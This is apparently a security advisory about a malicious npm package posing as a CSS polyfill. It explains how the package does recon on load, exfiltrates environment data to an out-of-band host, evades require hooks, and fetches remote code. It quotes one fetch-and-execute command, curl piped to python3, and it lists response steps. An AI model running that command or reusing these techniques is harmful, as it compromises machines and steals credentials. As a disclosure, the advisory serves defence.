css-gwqyid-polyfillnpm
Advisory published Updated
css-gwqyid-polyfill is a confirmed malicious npm package (MAL-2026-17574) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in css-gwqyid-polyfill (npm)
What this malware does
thunderboltRegistry.js executes an IIFE on module load that collects host reconnaissance (id, whoami, full process environment via env, and ifconfig/ip addr output) and sends each result as a GET query-string to the hardcoded out-of-band host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, keyed by os.hostname(). The same IIFE invokes execSync("curl -L https://appsecc.com/py | python3") to fetch and execute an opaque remote Python payload with the installer's privileges, tagging the output cmd=reverse-shell before exfiltrating it to the same oastify host. The payload deletes its own entries from require.cache and resolves child_process through three alternative paths (plain name, node: prefix, and a freshly constructed Module instance) to evade monkey-patched require hooks. The package's advertised identity as a CSS/Thunderbolt polyfill does not correspond to any code of that nature in the file and functions as a cover story for the recon, fetch-and-execute, and sandbox-evasion logic.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for css-gwqyid-polyfill (version 1.0.0).
If you installed it — respond
css-gwqyid-polyfill is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If css-gwqyid-polyfill was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks css-gwqyid-polyfill-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.